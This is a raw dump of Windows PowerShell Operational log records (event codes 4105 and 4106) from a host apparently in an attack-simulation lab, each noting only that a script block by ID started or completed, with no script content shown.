RecordNumber=2648708
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648707
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648706
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648705
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648724
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648723
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648722
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648721
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648720
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648719
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648718
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648717
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648716
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648715
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648734
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648733
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648732
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648731
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648730
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648729
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648728
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648727
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648726
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648725
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648744
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648743
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648742
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648741
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648740
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648739
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648738
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648737
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648736
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648735
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648754
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648753
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648752
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648751
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648750
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648749
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648748
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648747
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648746
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648745
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648764
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648763
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648762
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648761
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648760
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648759
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648758
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648757
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648756
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648755
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
